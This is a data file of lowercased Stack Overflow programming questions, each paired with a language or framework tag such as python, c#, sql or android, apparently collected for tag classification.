can you define a class (objc_class) parameter to have a required subclass at compile time   i have the following method:   <pre><code>- (fdmodel *)_modelforclass: (class)modelclass      withidentifier: (nsstring *)identifier </code></pre>   which should take in a class and a identifier  create an instance of modelclass  assign the identifier and do some other work based on the fact that it assumed modelclass is a subclass of fdmodel.    i can put in a check that raises some error or exception if <code>[modelclass issubclassofclass: [fdmodel class]] == no</code> but i was trying to see if there was a way to enforce this at compile time.    edit: i understand that some people see this as a obvious factory method but the modelclass parameter is actually passed in by the user of my library through a delegate callback <code>- (class&lt;fdmodel&gt;)modelclassfordictionary: (nsdictionary *)dictionary;</code>. this question was more aimed at making the user of my library return a class that has a specific subclass.,objective-c
how to display special character &curvearrowleft;  so i am trying to display left curve arrow in my html but it only works in ff  chrome and safari but not in ie other i don t know what to search for because in new in this char encoding stuff,html
how to create an auto popup outside an iframe  i have a chat button my website that should create an auto invitation that scrolls across the screen after a visitor is on there for 60 seconds. my problem is that the auto invitation is being embedded in the chat iframe and is not shown across the screen. the website company can t add my code to the back end so i m stuck with the iframe. how can i change the code so that the auto invitation scrolls across the screen and not in the iframe,html
create a playlist using pygame.mixer  i have been trying to make a simple playlist that plays 3 songs one after the other the code below shows an attempt of that. rather than playing the first song music1.mp3 it plays the last song music3.mp3 and stops playing. i have tried looking at similar questions but strugling to find a soloution.     please if anyone can help give me some advice or some guidance it will be much appreciated.    mike    update - it does play the first song  but still does not play the next song   <pre><code>import pygame import time  pygame.mixer.init() pygame.display.init()  screen = pygame.display.set_mode ( ( 420   240 ) )  playlist = list() playlist.append (  music1.mp3  ) playlist.append (  music2.mp3  ) playlist.append (  music3.mp3  )  pygame.mixer.music.load ( playlist.pop() )  # get the first track from the playlist pygame.mixer.music.queue ( playlist.pop() ) # queue the 2nd song pygame.mixer.music.set_endevent ( pygame.userevent )    # setup the end track event pygame.mixer.music.play()           # play the music  running = true while running:    for event in pygame.event.get():       if event.type == pygame.userevent:    # a track has ended          if len ( playlist ) &gt; 0:       # if there are more tracks in the queue...             pygame.mixer.music.queue ( playlist.pop() ) # queue the next one in the list </code></pre>,python
passing a vector to constructor  iam new in c++  and iam trying to implement classes into my program. i have done similar program in java.  but iam struggling to implement classes in c++. i want to pass a vector with strings from main to a class  called search.i can pass a vector either by value or reference. iam using a vector * which means get vector address.this is what i was told. iam not sure how i should refer to it. i am sure there are more mistakes in my code. could please someone help me or explain me how to initialize vector in constructor and how to add a value  so i can use the vector in the menthod   iam using visual studio pro 2010. many thanks for replies.    search.h   <pre><code>// pragma once   #include  std_lib_facilities.h    #include &lt;vector&gt;     class search     {   public:   search();       search(int dd  int mm  int year vector&lt;string&gt;* dat);       vector&lt;string&gt; get_result ();       ~search(void);   private:      int d;   int m;   int y;   vector&lt;string&gt; data;    };      </code></pre>   search.cpp      <pre><code>#include  search.h      #include &lt;vector&gt;    #include  std_lib_facilities.h    search::search()   :d(1)  m(1)  y(2000)  data(){} //data() is the vector but iam not sure if ihave set the value corectly   search::search(int dd  int mm  int year vector&lt;string&gt;*dat)     :d(dd) m(mm) y(year)  data(dat){}//no instance of constructor matches   the construcor list -- this is the error iam getting   //iam trying to initiliaze the varibale data of type vector.but i dont know how to do it.   search::~search(void)   {     }   vector&lt;string&gt; search::get_result ()  {// implementation where i need to use   the data stored in a vector    }    //main program      #include  std_lib_facilities.h         #include &lt;string&gt;       #include &lt;sstream&gt;       #include &lt;stdio.h&gt;       #include  search.h          #include &lt;vector&gt;         int main(){        int day  month  year;  //iam gonna ask user to input these     day=20;       month=12;       year=2014;    vector&lt;string&gt;flight_info;   ifstream inputfile( flight.txt );  // test file open    if (inputfile) {          string value;    // read the elements in the file into a vector          while ( inputfile &gt;&gt; value ) {      flight_info.push_back(value);//this is the vector i want to pass to class   search        }     }       search search(day month year flight_info)        //this where i want to create object of search class but iam gettin error -no     instance of constructor matches the `enter     code here`construcor list.     } </code></pre>,c++
how do i add access controls to named routes in config/routes.rb   i use <code>require_admin!</code> frequently in my controllers. it works great.    now  i want to add named route like so:   <pre><code># config/routes.rb match  poniesandrainbows  =&gt; redirect( https://poniesandrainbows.com ) # ^sadly  not really a website  btw.^ </code></pre>   how do i restrict access to that route  is this possible  obviously it redirects to a public url  but i still want to keep the route private.,ruby-on-rails
c# updating gridview columns from an event  i have a windows form and have a gridview on it  along with the following property    if on the forms initialization  i type    <pre><code>mygridview1.columns.add( columnname    columnheadertext ); </code></pre>   when the form loads i see the column on my gridview however if i type the same code inside the listchanged event i don t see the column on my gridview  why is this happening     <pre><code>private void _browselayoutcolumns_listchanged(browselayoutcolumns item)     {         mygridview1.columns.add( columnname    columnheadertext );     }  private mylist&lt;browselayoutcolumns&gt; _browselayoutcolumns = new mylist&lt;browselayoutcolumns&gt;();                                          public mylist&lt;browselayoutcolumns&gt; browselayoutcolumns     {         get          {               return _browselayoutcolumns;         }         set         {                            if(value == null) return;                              _browselayoutcolumns = value;                                         }                 } </code></pre>   mylist and browselayoutcolumns implementations are below:   <pre><code>public class browselayoutcolumns {                #region properties     private string _columnname = string.empty;             public string columnname     {         get =&gt; _columnname;         set         {             if (null == value) return;             _columnname = value;                         }      }      private string _bindingfield = string.empty;     public string bindingfield     {         get =&gt; _bindingfield;         set         {             if (null == value) return;             _bindingfield = value;                        }     }            #endregion        }  internal class mylist&lt;t&gt; : list&lt;t&gt; where t : class {     #region listmethods     public new void add(t item)     {         base.add(item);                     listchanged .invoke();     }      public new void clear()     {         base.clear();                 listchanged .invoke();     }     #endregion      #region events      public event listchangedeventhandler listchanged;     public delegate void listchangedeventhandler();      #endregion } </code></pre>,c#
asp.net page layout is not displaying properly in qa machine but is displaying correctly in dev machine  asp.net page layout is not displaying properly in qa machine but is displaying correctly in dev machine.  what could be the issue  we are using asp.net 2.0,asp.net
replacing only text portion  how can i replace only the text portion <code>regret/rlwl1</code> here leaving <code>input</code> element as it is:   <pre><code>&lt;td id= td1  style= color: rgb(255  0  0); &gt;&lt;input type= radio  name= lccp_class4  value= 3a &gt; regret/rlwl1&lt;/td&gt; </code></pre>,jquery
getting the id of the object when inside form_for or fields_for  i have the following code that is generating fields for an invoice    this is in the edit.html.erb for the invoice class   <pre><code>&lt;% f.fields_for(:invoice_items)  do |f| %&gt;     &lt;%= render :partial =&gt;  invoice_items/fields   :locals =&gt; {:f =&gt; f} %&gt; &lt;% end %&gt; </code></pre>   and i generate the invoice_items as part of the invoice object   <pre><code>@invoice = invoice.find(params[:id]  :include =&gt; :invoice_items  :order =&gt; invoice_items.display_order ) </code></pre>   it works just fine  but i need to wrap each one in a div  and assign that object s id to the div. (div id=i_2345 - that kind of thing) so i can use jquery wizardry.     where i am stumbling like a new-born foal is how do i access the the id of the invoice_item that is being called     i can do a f.text_field :id and it gives me the correct id - so it knows it. but i am hoping there is some rails magic pixie dust i can sprinkle that will give it to me without having to rip that apart.,ruby-on-rails
installing .net 4.0  i d like to install .net 4.0 on my server but can afford to have any downtime on my current apps running in .net 3.5 apppool.  will installing 4.0 cause any disruptions or breaks,.net
how can i use a javascript || with ng-class   i am trying to set a class like this:   <pre><code>ng-class= {fa-disabled: cursorwait || wos.wordformrowisdisabled(wf)}  </code></pre>   what i would like is for the fa-disabled class to be added if cursorwait == true or if the wos.wordformrowisdisabled function returns true.    but this is giving me a run timer error:   <blockquote> <pre><code>angular.js:13236 error: [$parse:syntax] syntax error: token  -  is unexpected  expecting [:] at column 4 of the expression [{fa-disabled: </code></pre>       cursorwait || wos.wordformrowisdisabled(wf)}] starting at [-disabled:   cursorwait || wos.wordformrowisdisabled(wf)}].       <a href= http://errors.angularjs.org/1.5.0/  rel= nofollow >http://errors.angularjs.org/1.5.0/</a>$parse/syntax p0=-&amp;p1=is%20unexpected%2c%20expecting%20%5b%3a%5d&amp;p2=4&amp;p3=%7bfa-disabled%3aursorwait%20%7c%7c%20wos.wordformrowisdisabled(wf)%7d&amp;p4=-disabled%3a%cursorwait%20%7c%7c%20wos.wordformrowisdisabled(wf)%7d  </blockquote>   can someone help and advise what is wrong,angularjs
remove a record from has_many without deleting from db  (rails 2.3.5)  it looks like delete &amp; destroy both remove the record from the db when dealing with a has_many. is there anyway to not do this. in other words i would like to trim a has_mnay collection before passing it to a method but i dont want my changes to persist to the db. in trying it on the console  it seems to delete immediately when i do    <pre><code>second_acct = users.accounts[1] users.accounts.delete(second_acct) </code></pre>   my use case would be something like i want to pass only checking accounts down to a method  so i want to remove these accounts from the user.,ruby-on-rails
refreshing of several controls in loop winforms  i m trying to make weather application. and when i input new city in my combobox my labels and pictureboxes don t refresh. i have  already tried <code>refresh()</code> <code>update()</code> and <code>invalidate()</code> and none of them worked. tell me please  what i m suppose to do. thank you in advance!   <pre><code> private async void setweatherforecastdatatoweatherapp(string city)     {         try         {             var jsondata = string.empty;             var url = string.format( http://api.openweathermap.org/data/2.5/forecast q={0}&amp;appid=a54961a05f7a1fc0cf9bd2bf1465dea5   city);             var uri = new uri(url);             var request = webrequest.create(uri);             var response = await request.getresponseasync();              using (var stream = response.getresponsestream())             {                 using (var streamreader = new streamreader(stream))                 {                     jsondata = await streamreader.readtoendasync();                 }             }             response.close();              _jsonfutureweatherforecastdata = jsondata;              _weatherforecast = jsonconvert.deserializeobject&lt;weatherforecast&gt;(_jsonfutureweatherforecastdata);         }         catch (exception ex)         {              messagebox.show(ex.message   input error   messageboxbuttons.ok);         }           var daynamelabellist = new list&lt;label&gt;();         var weatherdescriptionlabllist = new list&lt;label&gt;();         var gradeslabel = new list&lt;label&gt;();          var pictureboxlist = new list&lt;picturebox&gt;();          int ylocation = 50;         int xlocation = width / 2;         int cnt = 0;           string currdayofweek = string.empty;         string currentdate = string.empty;          for (int i = 0; i &lt; 9; i++)         {              currdayofweek = _dateconverter.convertmilisecondstocurrenttime(_weatherforecast.weatherlist[i].currentdate).dayofweek.tostring();             currentdate = _dateconverter.convertmilisecondstocurrenttime(_weatherforecast.weatherlist[i].currentdate).day.tostring();              cnt++;             pictureboxlist.add(new picturebox());             pictureboxlist[i].name =  weatherforecastimage  + cnt.tostring();             pictureboxlist[i].location = new point(xlocation  ylocation);             pictureboxlist[i].load($ icons/{_weatherforecast.weatherlist[i].weather[0].icon}.png );             controls.add(pictureboxlist[i]);             pictureboxlist[i].invalidate();              daynamelabellist.add(new label());             daynamelabellist[i].text = currdayofweek +     + currentdate;             daynamelabellist[i].location = new point(xlocation + 100  ylocation);             daynamelabellist[i].size = new size(100  15);             daynamelabellist[i].font = new font( lucida sans   10  fontstyle.regular);             controls.add(daynamelabellist[i]);              weatherdescriptionlabllist.add(new label());             weatherdescriptionlabllist[i].text = _weatherforecast.weatherlist[i].weather[0].description;             weatherdescriptionlabllist[i].location = new point(xlocation + 100  ylocation + 15);             weatherdescriptionlabllist[i].font = new font( lucida sans   8  fontstyle.regular);             controls.add(weatherdescriptionlabllist[i]);              gradeslabel.add(new label());             gradeslabel[i].text = _weatherforecast.weatherlist[i].main.temperature.tostring( 0 ) +   c° ;             gradeslabel[i].location = new point(xlocation + 200  ylocation);             gradeslabel[i].font = new font( lucida sans   10  fontstyle.regular);             controls.add(gradeslabel[i]);              ylocation += 100;         }          for (int i = 0; i &lt; daynamelabellist.count; i++)         {             daynamelabellist[i].forecolor = color.white;             weatherdescriptionlabllist[i].forecolor = color.white;             gradeslabel[i].forecolor = color.white;         }     } </code></pre>,c#
pre-defining the constructor value to none..when not given  i m creating a <code>node</code> class that takes some parameters. one is called <code>next</code> which i would like to be set as <code>none</code> by the constructor if no value is supplied.   <pre><code>class node(object):     def __init__(self  next data):         self.data = data         self.next = next  def x(self):     node = node(next  data) </code></pre>   how can i do that,python
extract url from javascript string  i would like to extract the following <code>string</code> :   <pre><code>http://media.zenfs.com/fr_fr/news/afp/a418cb581c41fd9c36b0d24c054ad4c623bab222.jpg </code></pre>   from this <code>string</code> :   <pre><code>https://s1.yimg.com/bt/api/res/1.2/yqep3ogcvvfsadssiq.llg--/yxbwawq9ew5ld3m7zmk9zmlsbdtoptg2o3e9nzu7dz0xmza-/http://media.zenfs.com/fr_fr/news/afp/a418cb581c41fd9c36b0d24c054ad4c623bab222.jpg </code></pre>   <strong>and before  extract  i would like to check if the global string contains more than one time  http  to be sure to extract the jpg only when needed.</strong>    how can i do that,javascript
filter rows from text file  i have to clear a txt file (test.txt)  removing row that start with  (  or null rows and then rename it (test_ok.txt)     i use this function:   <pre><code>def clearfile(filename):     for row in (open (filename   r )).readlines():         if row[0][0]&lt;&gt; \n  and riga[0][0]&lt;&gt; (  :             out_file = open( %s_%s%s  %(os.path.splitext(filename)[0]  ok  os.path.splitext(os.path.basename(filename))[1])    a )             out_file.write(riga)              out_file.close()     return out_file </code></pre>   it works but is very slow. any tips to optmize     this is my new function:   <pre><code>def clearfile(filename):     with open (filename   r ) as a  open( %s_%s%s  %(os.path.splitext(filename)[0]  ok  os.path.splitext(os.path.basename(filename))[1])    a ) as b:         for row in (a).readlines():             if row[0][0]!= \n  and row[0][0]!=  (  :                 b.write(row)          b.close </code></pre>,python
dropdownlist selected value not changing to selected index zero after exporting data to file  i am using one dropdownlist for exporting file. i want here once user select any of the fileformat in dropdownlist after exporting file again dropdownlist selectedindex should change it to zero like initial state. for that i have tried to use this code:   <pre><code>if(ddl.selectedindex &gt; 0)ddl.selectedindex=0; </code></pre>   but as i assumed due to download file code response.clear and response.end dropdownlist selected index is not setting to zero. need help.,asp.net
subviews of window in ios 6.0  i had added 5 view controllers as subviews to window in appdelegate. but when iam trying to nslog the subviews of window only one subview is printing. why   it was working in ios 5. now i updated xcode to ios 6.0.    and also iam getting a message like  application windows are expected to have a root view controller at the end of application launch  in the log when iam running the application,ios
trying to get multiple related values on one row  i ve got the following sql select statement which returns the information i want. it seems to work reliably although i have lots of left joins   tryomg to get the data out of for a pupil and any other related data. the only issue i seem to of stumbled on is returning the nationality data. my query is fine if a pupil has one nationality  however if they have two  i d like to add/append the second value at the end of the first on the same row. anyone advise me the best way to achieve this  is this situation where i would use a subquery   <pre><code>select p.pk_pupilid p.pupilnumber p.pupilstatus pn.surname  pn. forename p.form d.departmentcode p.boardingstatus e.startterm e.startacademicyear ny.form ny.boardingstatus  c.nationality  from pupil p left join person pn on p.pk_pupilid = pn.pk_personid  left join nextacademicyear ny on p.pk_pupilid = ny.fk_pupilid  left join department d on p.fk_departmentid=d.pk_departmentid  left join enrolment e on p.pk_pupilid=e.fk_pupilid  left join nationality n on p.pk_pupilid = n.fk_personid  left join country c on n.fk_iso2code = c.iso2code  where p.pk_pupilid in(    &amp; $ids &amp;    ) </code></pre>,sql
possible to have an app on an ipad control another ipads app if apps are the same app   so what i want to do is have 2 ipads running the same application and having the main ipad control whats happening on the other ipads screen. the functionality that we want to accomplish is this. i wrote a program that has a presentation mode  this presentation mode displays images html pages  videos ect. in order to move back and forth in the presentation the user would just swipe left or right on the ipad and it would go through the presentation mode. so ultimately i would want to have one  main ipad  displaying the presentation while having all the other ipads  that are linked to my ipad via bluetooth or wifi  presentation mode go in tandum with whatever the main ipad is displaying. ive looked online about this and what i got from my research is that this functionality is not accessible by developers as just yet. so is my problem even solvable,ios
asp.net unpublishing  i published my web application to a folder   after i hosted that folder on a server but my project codes are broken.now i will republish(unpublisch) my application from the publish folder. i will see my aspx page s .cs codes.how can i see,asp.net
how to i print the result from the readline() method  i’m trying to print out the result from the <code>readline</code> method in a certain format.  i also need to add two more <code>if</code> statements  but i’m not sure how to get the code to continue through them if the previous one is true.   <pre><code>public static void main(string[] args) {     string csvfile = args[0]; //name of our csv file     bufferedreader br = null;     string line =   ;     string cvssplitby =    ;     string[] columns = new string[6];     string columnline =   ;     float nottobebelow = 12;      try {         br = new bufferedreader(new filereader(csvfile));         if ((columnline  = br.readline()) != null) {             columns = columnline.split(cvssplitby);             while ((line = br.readline()) != null) {                  // use comma as separator                 string[] routerinfo = line.split(cvssplitby);                 if (routerinfo[2].tolowercase().equals( no )) {                     float osversion = integer.parseint(routerinfo[3]);                     if(osversion &gt;= 12) {                      }                 } </code></pre>,java
can i check if e-mail address is valid   how can i implement following logic    <ul> <li> user registers with an e-mail address </li> <li> if provided e-mail address is a valid email address then user account get s activated </li> <li> or if it is a fake email    then user account is not activated </li> </ul>   i doubt that i can catch the -  delivery failed reply message   right  anyhow how would you suggest to implement the above logic      ps. i will have to find a way no matter what  client wants it =),php
how-to get hierarchical categories that contains a least one product  assuming the following hierarichal parent/child category model :   <pre><code>    public class category     {         public int categoryid { get; set; }         public category parentcategory { get; set; }         public ilist&lt;category&gt; childcategories { get; set; }         public ilist&lt;product&gt; products { get; set; }     } </code></pre>   i want to get all categories in a hierarchical way that contains at least one product.    root category    a1. sub category 1 (0 product)    a2. sub category 2 (1 product)    b1. sub category 1 (0 product)    b2. sub category 2 (1 product)    b3. sub category 3 (0 product)    the expected result is :    root category    a1. sub category 1    a2. sub category 2    b1. sub category 1    b2. sub category 2    thanks.,c#
how to retrieve onlick events added with click() <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2518421/jquery-find-events-handlers-registered-with-an-object >jquery find events handlers registered with an object</a>    </blockquote>     how can you retrieve all onlick methods added with click(),jquery
setting text size to dynamically created edittext widgets produces different size for different android screens  i am adding edittext dynamically on press of add button. i have handled dynamic creation of widgets and adding them to existing xml layout. but the problem is in the text size. i am using 15 sp in xml layout and want to keep the same size for dynamically created ones also.    i have applied the following code to calculate the text size dynamically:   <pre><code>int txtsize = (int) typedvalue.applydimension(typedvalue.complex_unit_sp  15  getresources().getdisplaymetrics()); edittext child = new edittext(myactivity.this);  child.settextsize(txtsize); </code></pre>   its not producing the desired results and text size varies according to different screen sizes in spite of the fact that i am using scaled pixels.    please help...,android
sending an email using html form  here is my code.   <pre><code>&lt;form action= mailto:example@gmail.com    method= post  enctype= text/file &gt;    a3 or a4:&lt;br&gt;    &lt;input type= text  name= a3 or a4 &gt;&lt;br&gt;    add image:&lt;br&gt;    &lt;input type= file  name= image &gt;&lt;br&gt;    &lt;input type= button  id=  value= click &gt; &lt;/form&gt; </code></pre>   issue: after clicking the submit button or in this case just the button  nothing happens. i am currently using gmail so if you could please help.,html
create records only when boxes checked  the following patch action is getting the following parameters   <pre><code>  parameters: { utf8 =&gt; ✓   [...]   contractgroup =&gt; { articolocontractgroups_attributes =&gt; { 0 =&gt;{ articolo_id =&gt; 0    id =&gt; 425 }     1 =&gt;{ articolo_id =&gt; true    id =&gt; 426 }     2 =&gt;{ articolo_id =&gt; true    id =&gt; 427 }     3 =&gt;{ articolo_id =&gt; 0    id =&gt; 428 }}   contractgroup_id =&gt; 2 }   commit =&gt; add } </code></pre>   however the controller action is invoking the parameters in a mistaken manner  as no records are being created:   <pre><code>params[:contractgroup][:articolocontractgroups_attributes].each do |id  attrs|   if params[:articolo_id] ==  true      @articolocontractgroup = articolocontractgroup.new      (articolo_id: params[:contractgroup][:articolo_id]         contractgroup_id: params[:contractgroup][:contractgroup_id])     @articolocontractgroup.save   end end </code></pre>   where is this messed up,ruby-on-rails
how can refresh usercontrol in master page calling from different aspx page   there is a aspx page with master page. this master page has a usercontrol.    i use script manager in the aspx page. i was tyring to update label text in usercontrol (master page) after click a button.,.net
pass a string array to web service in iphone  i have developed an iphone application where i need to pass a string array to the web service. now  i have a <code>nsmutable</code> array  say <code>sendselectedid</code>.    i know i have values in the array  because when i display in for loop   <pre><code>for(i=0;i&lt;[sendselectedid count];i++) { nslog(@ %@   [sendselectedid objectatindex:i]); } </code></pre>   this is the way i pass the <code>nsmutable</code> array to the soap message:   <pre><code>nsstring *soapmessage = [nsstring stringwithformat:    @ &lt; xml version=\ 1.0\  encoding=\ utf-8\  &gt;\n      &lt;s:envelope xmlns:s=\ http://schemas.xmlsoap.org/soap/envelope/\ &gt;\n      &lt;s:header/\&gt;\n      &lt;s:body&gt;\n      &lt;ns2:confirmrecalldeposit xmlns:ns2=\ http://services.cbp.syntel.org/\ &gt;\n      &lt;transactionid&gt;%@&lt;/transactionid&gt;\n      &lt;/ns2:confirmrecalldeposit&gt;\n      &lt;/s:body&gt;\n      &lt;/s:envelope&gt;\n  sendselectedid ]; </code></pre>   and the soap message is displayed like:   <pre><code>nsstring *soapmessage = [nsstring stringwithformat:   @ &lt; xml version=\ 1.0\  encoding=\ utf-8\  &gt;\n    &lt;s:envelope xmlns:s=\ http://schemas.xmlsoap.org/soap/envelope/\ &gt;\n     &lt;s:header/\&gt;\n     &lt;s:body&gt;\n     &lt;ns2:confirmrecalldeposit xmlns:ns2=\ http://services.cbp.syntel.org/\ &gt;\n     &lt;transactionid&gt;(         1          3       )&lt;/transactionid&gt;\n     &lt;/ns2:confirmrecalldeposit&gt;\n     &lt;/s:body&gt;\n     &lt;/s:envelope&gt;\n  sendselectedid ]; </code></pre>   but on the server side  it gives error number format exception. how am i to remove this error on the server side  i tried to trim the values recieved  but it did not work.,iphone
can you just tell  what is the use of iframe in asp.net   i want to know the use of iframe in asp.net.  i am new in asp.net.help me,html
strange togglebutton behavior inside listview  i m having a simple <code>listview</code> filled with some test items:   <pre><code>private arraylist&lt;nearbyrestaurantlistitem&gt; getitems() {     arraylist&lt;nearbyrestaurantlistitem&gt; items = new arraylist&lt;&gt;();     // ..     items.add( new nearbyrestaurantlistitem(null   item number      seven ) );     items.add( new nearbyrestaurantlistitem(null   item number      eight ) );     items.add( new nearbyrestaurantlistitem(null   item number      nine ) );     items.add( new nearbyrestaurantlistitem(null   item number      ten ) );     // ..     return items; } </code></pre>   the thing is that these list items have a toggleable  favorite  button. the strange behavior i am talking about is that if i toggle a favorite button another button from <em>another</em> list item gets toggled too. it appears that the 6th toggle button from the pressed one gets toggled too and i have no idea why. is it because the <code>onclicklistener*</code> classes are <code>static</code>  <code>nearbyrestaurantlistitem</code> is inflated like this:   <pre><code>public view getview(int position  view convertview  viewgroup parent) {      nearbyrestaurantlistitemviewholder holder;     if(convertview == null){         convertview = minflater.inflate(r.layout.listview_nearbylist_item  parent  false);         holder = new nearbyrestaurantlistitemviewholder();         holder.restaurantthumbnail = (imageview) convertview.findviewbyid(r.id.restaurant_thumbnail);         holder.restaurantname      = (textview) convertview.findviewbyid(r.id.restaurant_name);         holder.restaurantgenre     = (textview) convertview.findviewbyid(r.id.restaurant_genre);         holder.openinghours        = (textview) convertview.findviewbyid(r.id.opening_hours);          convertview.settag(holder);     } else {         holder = (nearbyrestaurantlistitemviewholder) convertview.gettag();     }      holder.restaurantthumbnail.setimagedrawable(null);     holder.restaurantname.settext(items.get(position).getrestaurantname());     holder.restaurantgenre.settext(items.get(position).getrestaurantgenre());     holder.openinghours.settext( 08:00 - 18:00 uhr );      if(holder.restaurantgenre.gettext().length() == 0) {         holder.restaurantgenre.setvisibility(view.gone);     }      togglebutton favorite = (togglebutton)convertview.findviewbyid(r.id.favorite);     favorite.setonclicklistener(new nearbyrestaurantlistfragment.onclickfavoritebuttonlistener(activity));     favorite.settag(convertview);      imageview map = (imageview)convertview.findviewbyid(r.id.map);     map.setonclicklistener(new nearbyrestaurantlistfragment.onclickmapbuttonlistener(activity));     map.settag(convertview);      return convertview; } </code></pre>   i really feel stupid asking this but i can t figure out the problem here.,android
file upload script in php not working  my php code for file upload is not working. i have tried it in various ways. my code is given below:<br> html code:   <pre><code>&lt;form action= assets/php/regc.php  method= post  name= rform  enctype= multipart/form-data &gt; &lt;input name= photo  type= file  placeholder= attach photo  required= required /&gt;&lt;br&gt; &lt;input type= submit  value= upload  name=   /&gt;  &lt;/form&gt;  php code: &lt; php $pic=$_files[ photo ][ name ];  $location= assets/ ; $myfile= $location.basename($_files[ photo ][ name ]);  if(isset($_files[ photo ][ name ])) {     $ok=move_uploaded_file($_files[ photo ][ tmp_name ]  $myfile);     if($ok)     {     echo  success ;      }      else     {     echo  failed ;       } }  &gt; </code></pre>,php
creating a script to sum 1 column within multiple tables  i am trying create 1 script in which will result in a total sum of a column within about 30 tables. right now  i have the following script that does work but not the way i want.    <pre><code>select customerid  sum(convert(numeric(18 1) billedduration/60.0)) as minutes from table 1 where retailrate = 0   and direction =  o  group by customerid union select customerid  sum(convert(numeric(18 1) billedduration/60.0)) as minutes from table 2 where retailrate = 0   and direction =  o  group by customerid  order by customerid </code></pre>   so the results end up giving me the customer twice but the tables are for each day of the month and so that could be about 30 rows per customer or so. so i am wanting to combine those rows into 1 with the total sum of the minutes of all the tables. any kind of help would be much appreciated. thanks!,sql
java loop error  hi i m running a simple loop that is supposed to output the numbers 0-10  however when the program is run  nothing appears in the output box  yet the program doesn t throw any errors. here is the loop:   <pre><code>for(int num = 0; num &lt;= 10; num++){         system.out.println( num =   + num);     } </code></pre>,java
why does my app crash after hitting reset  the timer works fine for starting then reseting and leaving the view  but if i start the time then leave the view and return and just hit reset the app crashes. i know that most people would not hit reset when the timer is not started  but for idiot proofing i need a fix for this any suggestions    <pre><code>    public void starttimer(view view) {         final handler handler = new handler();         timer ourtimer = new timer();         timertask = new timertask() {             public void run() {                 handler.post(new runnable() {                     public void run() {                          int sec = n % 60;                         int min = n / 60;                          textview timer = (textview) findviewbyid(r.id.androidtimer);                         timer.settext(   + string.format( %02d   min) +  :                                  + string.format( %02d   sec));  //                      timer.settext(n +   seconds );                         n++;                     }                 });             }         };          ourtimer.schedule(timertask  0  1000);      }      public void stoptimer(view view) {         timertask.cancel();         textview timer = (textview) findviewbyid(r.id.androidtimer);         timer.settext( --:-- );         timertask = null;         n = 0;     } </code></pre>,android
what object is nil here   in the following code i m curious to know what object is being set to nil in the:    -(void)viewwillappear:(bool) method. is self being nil ed  or are all the objects in the     -(ibaction)showcurrenttime:(id)sender method being nil ed  or are both being nil ed    <pre><code>-(ibaction)showcurrenttime:(id)sender {     nsdate *now = [nsdate date];     static nsdateformatter *formatter = nil;     if (!formatter) {         formatter = [[ nsdateformatter alloc ] init ];         [formatter settimestyle:nsdateformattershortstyle];      }     [timelabel settext:[formatter stringfromdate:now]];  } -(void)viewwillappear:(bool)animated{     [super viewwillappear:animated];     [self showcurrenttime:nil];   } </code></pre>,objective-c
fscalender selected date  i am using fscalender through cocoa pods. i simply want to get the selected date/month/year. i am only getting current date. i am getting details like this :-     <pre><code>    nsdateformatter *formatter = [[nsdateformatter alloc] init];       formatter.dateformat = @ dd.mm.yyyy ;       nsstring *string = [formatter stringfromdate:[nsdate date]];      nslog(@ currentdate=%@  string);   </code></pre>   in string  i am getting output :-  currentdate=08.02.2017    how to achieve this. thanks in advance.,ios
where does output of table stored using mysql in batch mode   i am beginner in mysql. i want to store the output of a table in a file. i wrote following query:    <pre><code>mysql -u root -p mysql &lt; /home/yati/desktop/document_óbuda/semesteriv/dbms/batch &gt; mysql.out </code></pre>   here  batch is the text file where i stored following queries:   <pre><code>use testdb; select * from pet; </code></pre>   here  testdb is my database and pet is the name of the table. after  inputing my password  it didn t show the path  where the table is stored. if i omit mysql.out  then output is displayed in the command prompt as shown: <a href= https://i.stack.imgur.com/zvjuz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zvjuz.png  alt= enter image description here ></a> please help,mysql
c# - why is this program giving me an error   i am practicing for my programming exam and that s one of the exams. this program crashes after the first for loop and i can t figure out why. please help!   <pre><code>    int n = int.parse(console.readline());      console.writeline( {0}{1}{0}   new string( -   n / 2)  new string( *   n + 2));      for (int i = 0; i &lt; n - 1; i++)     {         console.writeline( {0}*{1}*{0}   new string( -   n / 2)  new string( -   n));     }      for (int i = 0; i &lt; n; i++)     {         console.writeline(              {0}{1}{2}{1){0}               new string( -   ((n - 1) / 2) - i)              new string( *   1 + 2 * i)              new string( -   n - 2 * i));          if (i &lt; n / 2)         {             i++;         }         else         {             i--;         }     } </code></pre>,c#
rails paperclip multi upload  has somebody from you followed this tutorial  <a href= http://infrastacks.com/ p=57  rel= nofollow noreferrer >link text</a>    i really don´t now why  but i got following fault  when i went through the tutorial word by word:    @album[photo_attributes]‘ is not allowed as an instance variable name    somebody an idea why,ruby-on-rails
change parameter in mysql request select  i am trying to change  from_user  with a parameter from the other table and it doesn t work but when i am using the same table it works like a charm:   <pre><code> select from_user  message_contents  message_read  to_user  date   from table1   where date in (   select max( date )   from table1   where to_user = 1 group by from_user   )   order by from_user asc   date desc </code></pre>   but this one just show one record but not all latest ones:   <pre><code> select table2.`display_name`  message_contents  message_read  to_user  date   from table1  table2  where table1.`from_user` = table2.`id`  and date in ( select max( date )   from table1  where to_user = 1 group by from_user   )   order by from_user asc   date desc </code></pre>   can anybody help to change  from_user  with table2.<code>display_name</code> parameter but to get all recent records from mysql,mysql
accees to dynamically added html tages to asp.net page  i add dynamically html code in page load to section of page. like this: <br/>   <pre><code> protected void page_load(object sender  eventargs e) {     //html file     string file = server.mappath( ~/productsf/detailfiles/ +request.querystring[ page ]);             fileinfo fi = new fileinfo(file);     htmlgenericcontrol hgc = new htmlgenericcontrol();     if (file.exists(file))     {         //load html file         streamreader sr = file.opentext(file);         hgc.innerhtml = sr.readtoend();                     sr.close();         sr.dispose();     }     this.contentpanel.controls.add(hgc); } </code></pre>   but i want to access some html control in prerender event and change some attribute. but i can t to access those html controls.   <pre><code>protected override void onprerender(eventargs e) {     makeallurlfullyqualified(page);     base.onprerender(e); }   private void makeallurlfullyqualified(control control) {     if (control.hascontrols())     {         foreach (control child in control.controls)             makeallurlfullyqualified(child);     }      if (control is htmlanchor)     {         htmlanchor anchor = control as htmlanchor;         anchor.href = webhelper.getfullyuri(resolveurl(anchor.href));     }     else if (control is htmlimage)     {         htmlimage image = control as htmlimage;         image.src = webhelper.getfullyuri(resolveurl(image.src));     }     else if (control is htmllink)     {         htmllink link = control as htmllink;         link.href = webhelper.getfullyuri(resolveurl(link.href));     } } </code></pre>   what is wrong in this code,asp.net
